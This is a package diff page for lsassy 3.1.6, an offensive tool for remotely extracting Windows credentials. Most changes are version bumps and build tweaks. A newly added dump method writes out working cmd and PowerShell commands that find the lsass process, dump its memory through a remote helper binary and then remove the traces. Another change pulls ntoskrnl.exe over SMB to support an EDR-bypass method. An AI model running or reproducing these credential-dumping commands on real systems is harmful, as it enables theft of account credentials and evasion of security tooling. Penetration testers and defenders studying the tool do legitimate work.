Codebase list python-lsassy / run/0cef3469-1915-42c7-8faf-124fbf38113d/upstream
Import upstream version 3.1.6 Kali Janitor 1 year, 5 months ago
12 changed file(s) with 76 addition(s) and 23 deletion(s). Raw diff Collapse all Expand all
77 find . -name '__pycache__' -exec rm -rf {} +
88
99 publish: clean
10 python3.7 setup.py sdist bdist_wheel
11 python3.7 -m twine upload dist/*
10 python setup.py sdist bdist_wheel
11 python -m twine upload dist/*
1212
1313 testpublish: clean
14 python3.7 setup.py sdist bdist_wheel
15 python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/*
14 python setup.py sdist bdist_wheel
15 python -m twine upload --repository-url https://test.pypi.org/legacy/ dist/*
1616
1717 linux: clean
1818 python setup.py install
2323 pyinstaller ./lsassy/console.py --onefile --clean -n lsassy_windows_amd64 --additional-hooks-dir=hooks
2424
2525 rebuild: clean
26 python3.7 setup.py install
26 python setup.py install
2727
2828 build: clean
29 python3.7 setup.py install
29 python setup.py install
3030
3131 install: build
3232
3333 test:
34 python3.7 setup.py test
34 python setup.py test
00 # lsassy
11
2 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.3&x2=0)](https://pypi.org/project/lsassy/)
2 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.6&x2=0)](https://pypi.org/project/lsassy/)
33 [![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy)
44 [![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests)
55 [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
150150 * EDRSandBlast
151151 * nanodump
152152 * rdrleakdiag
153 * silentprocessexit
153154 * sqldumper
154155
155156 #### comsvcs method
482483 * [s4ntiago_p](https://twitter.com/s4ntiago_p) for [nanodump](https://github.com/helpsystems/nanodump)
483484 * [0gtweet](https://twitter.com/0gtweet) for [Rdrleakdiag technique](https://twitter.com/0gtweet/status/1299071304805560321)
484485 * [Luis Rocha](https://twitter.com/countuponsec) for [SQLDumper technique](https://twitter.com/countuponsec/status/910969424215232518)
486 * [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [LsassSilentProcessExit technique](https://github.com/deepinstinct/LsassSilentProcessExit)
485487
486488 ## Official Discord Channel
487489
0 __version__ = '3.1.3'
0 __version__ = '3.1.6'
2929 help='Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe')
3030 group_dump.add_argument('--timeout', action='store', type=int, default=5,
3131 help='Max time to wait for lsass dump (Default 5s)')
32 group_dump.add_argument('--time-between-commands', action='store', type=int, default=7,
33 help='Time to wait between dump methods commands (Default 7s)')
32 group_dump.add_argument('--time-between-commands', action='store', type=int, default=1,
33 help='Time to wait between dump methods commands (Default 1s)')
3434 group_dump.add_argument('--parse-only', action='store_true', help='Parse dump without dumping')
35 group_dump.add_argument('--keep-dump', action='store_true', help='Parse dump without dumping')
35 group_dump.add_argument('--keep-dump', action='store_true', help='Do not delete lsass dump on remote host')
3636
3737 group_auth = parser.add_argument_group('authentication')
3838 group_auth.add_argument('-u', '--username', action='store', help='Username')
1111
1212 def __init__(self, session, timeout, time_between_commands):
1313 super().__init__(session, timeout, time_between_commands)
14
15 # If default, set to 7. Otherwise, keep custom time
16 if self._time_between_commands == 1:
17 self._time_between_commands = 7
18
1419 self.comsvcs_copied = False
1520 self.comsvcs_copy_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dll"
1621 self.comsvcs_copy_path = "\\Windows\\Temp\\"
2020 self.tmp_ntoskrnl = "lsassy_" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + ".exe"
2121
2222 def prepare(self, options):
23 with open('/tmp/{}'.format(self.tmp_ntoskrnl), 'wb') as p:
23 if os.name == 'nt':
24 tmp_dir = 'C:\\Windows\\Temp\\'
25 else:
26 tmp_dir = '/tmp/'
27 with open('{}{}'.format(tmp_dir, self.tmp_ntoskrnl), 'wb') as p:
2428 try:
2529 self._session.smb_session.getFile("C$", "\\Windows\\System32\\ntoskrnl.exe", p.write)
26 logging.success("ntoskrnl.exe downloaded to /tmp/{}".format(self.tmp_ntoskrnl))
30 logging.success("ntoskrnl.exe downloaded to {}{}".format(tmp_dir, self.tmp_ntoskrnl))
2731 except Exception as e:
2832 logging.error("ntoskrnl.exe download error", exc_info=True)
33 try:
34 os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl))
35 except Exception as e:
36 return None
2937 return None
30 self.ntoskrnl.content = self.get_offsets("/tmp/{}".format(self.tmp_ntoskrnl))
38 self.ntoskrnl.content = self.get_offsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl))
3139
3240 if self.ntoskrnl.content is not None:
3341 logging.success("ntoskrnl offsets extracted")
3442 logging.debug(self.ntoskrnl.content.split("\n")[1])
35 os.remove('/tmp/{}'.format(self.tmp_ntoskrnl))
43 os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl))
3644
3745 return self.prepare_dependencies(options, [self.edrsandblast, self.RTCore64, self.ntoskrnl])
3846
0 from lsassy.dumpmethod import IDumpMethod, Dependency
1
2
3 class DumpMethod(IDumpMethod):
4 #need_debug_privilege = True
5
6
7 def __init__(self, session, timeout, time_between_commands):
8 super().__init__(session, timeout, time_between_commands)
9 self.silentprocessexit = Dependency("silentprocessexit", "silentprocessexit.exe")
10
11 def prepare(self, options):
12 return self.prepare_dependencies(options, [self.silentprocessexit])
13
14 def clean(self):
15 self.clean_dependencies([self.silentprocessexit])
16
17 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
18 cmd_command = [
19 """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} %J 0""".format(
20 self.silentprocessexit.get_remote_path()
21 ),
22 """move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name),
23 """del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass"""
24 ]
25 pwsh_command = [
26 "{} (Get-Process lsass).Id 0".format(
27 self.silentprocessexit.get_remote_path()
28 ),
29 """move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name),
30 """del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass""" ]
31 return {
32 "cmd": cmd_command,
33 "pwsh": pwsh_command
34 }
5858 """
5959 StreamHandler and formatter added to root logger
6060 """
61 if (logging.getLogger().hasHandlers()):
62 logging.getLogger().handlers.clear()
63
6164 handler = logging.StreamHandler(sys.stdout)
6265 handler.setFormatter(LsassyFormatter(no_color))
6366 logging.getLogger().addHandler(handler)
00 [tool.poetry]
11 name = "lsassy"
2 version = "3.1.3"
2 version = "3.1.6"
33 description = "Tool to remotely extract credentials"
44 readme = "README.md"
55 homepage = "https://github.com/hackndo/lsassy"
1010 [tool.poetry.dependencies]
1111 python = "^3.7"
1212 netaddr = "^0.8.0"
13 pypykatz = "^0.4.8"
13 pypykatz = "^0.6.2"
1414 impacket = "^0.9.22"
1515 rich = "^10.6.0"
1616
00 impacket
11 netaddr
2 pypykatz>=0.4.8
3 rich
2 pypykatz>=0.6.2
3 rich
1212
1313 setup(
1414 name="lsassy",
15 version="3.1.3",
15 version="3.1.6",
1616 author="Pixis",
1717 author_email="[email protected]",
1818 description="Python library to extract credentials from lsass remotely",
2626 install_requires=[
2727 'impacket',
2828 'netaddr',
29 'pypykatz>=0.4.8',
29 'pypykatz>=0.6.2',
3030 'rich'
3131 ],
3232 python_requires='>=3.6',
11
22
33 def test_version():
4 assert __version__ == '3.1.3'
4 assert __version__ == '3.1.6'